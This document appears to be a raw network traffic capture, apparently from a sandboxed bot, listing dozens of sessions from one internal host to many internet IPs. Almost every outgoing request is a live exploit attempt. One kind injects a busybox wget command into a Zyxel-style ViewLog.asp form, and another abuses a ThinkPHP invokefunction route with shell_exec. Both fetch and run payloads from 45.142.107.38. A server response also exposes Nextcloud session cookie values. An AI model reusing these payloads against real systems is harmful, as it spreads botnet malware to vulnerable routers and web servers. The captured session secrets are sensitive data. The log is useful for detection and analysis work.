Mar 4, 2024 15:08:11.126987934 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	33794	88.127.103.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:42.591093063 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:42.758729935 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	50482	88.80.20.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:42.618769884 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:42.808583021 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 12:02:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3890 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Mar 4, 2024 15:06:42.808800936 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Mar 4, 2024 15:06:42.808878899 CET	1286	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/index.php?s=/index/hink&# 7;pp/invokefunction&function=call_user_func_array&vars[
Mar 4, 2024 15:06:42.808944941 CET	300	IN	Data Raw: 30 4d 61 72 25 32 30 32 30 32 34 25 32 30 31 32 25 33 41 30 32 25 33 41 30 36 25 32 30 47 4d 54 25 30 44 25 30 41 25 30 44 25 30 41 43 6c 69 65 6e 74 49 50 25 33 41 25 32 30 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 25 30 44 25 30 41 25 30 44 25 Data Ascii: 0Mar%202024%2012%3A02%3A06%20GMT%0D%0A%0D%0AClientIP%3A%20154.16.192.203%0D%0A%0D%0AHTTP%20Request%3A%0D%0A%0D%0A%0D%0A">root</a>.</p><br></div><hr><div id="footer"><p>Generated Mon, 04 Mar 2024 12:02:06 GMT by host (squid/3.5.20)</p><!

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	56378	95.181.234.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:43.775042057 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:44.895652056 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	45340	31.200.229.88	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:44.981653929 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	44642	94.123.241.182	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:45.199285984 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	42554	88.159.120.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:45.331432104 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:45.904917955 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:46.090776920 CET	456	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:45 GMT Server: Apache Strict-Transport-Security: max-age=15768000; includeSubDomains Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	43792	31.136.3.107	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:45.836529970 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:48.951122999 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:55.095197916 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:07.126991034 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:32.215097904 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:21.366861105 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	49286	62.29.26.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:45.875143051 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	49260	62.204.69.140	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:45.998056889 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:46.229903936 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:46 GMT Server: Apache/2.4.56 (Debian) Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow X-XSS-Protection: 1; mode=block X-Powered-By: PHP/8.1.26 Set-Cookie: oc1ulzytmnxq=68085699c033eabd28432e8e58ea26c0; path=/nextcloud; secure; HttpOnly; SameSite=Lax Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: oc_sessionPassphrase=949leRXbnOl4CEgkQCkGwBsPLJeNGAL%2Fds2YoJgU9jErTB8S%2FgT6J1QeXAIonwZHKnULGMQEef%2BNl3vGKl86mBxHd%2FB%2Bm0KwIQEt7Du25yTuSkzgZ6G9WBkgm0HeYLAp; path=/nextcloud; secure; HttpOnly; SameSite=Lax Set-Cookie: oc1ulzytmnxq=c13b70c65781b27b5da98dcb9a7fbd0d; path=/nextcloud; secure; HttpOnly; SameSite=Lax Set-Cookie: oc1ulzytmnxq=c13b70c65781b27b5da98dcb9a7fbd0d; path=/nextcloud; secure; HttpOnly; SameSite=Lax Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-UWJUc281ZU42ZUpjOGJVL0E3eEV6ZEtnWXFvNjBXT2ZnWDhsMER5MXZtdz06TWVHcms5aTltS0VHeDlRS2J1azA0cnoyRS85MjRqQ3E4MHBrb2wzZXlUVT0='; style-src 'self' 'unsafe-inline'; frame-src ; img-src data: blob:; font-src 'self' data:; media-src * Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	51658	94.122.86.12	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:46.049854994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	49722	112.78.195.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:46.049875021 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:46.311464071 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	56386	95.181.234.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:46.144227982 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	59724	31.43.196.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:46.157476902 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:47.831062078 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
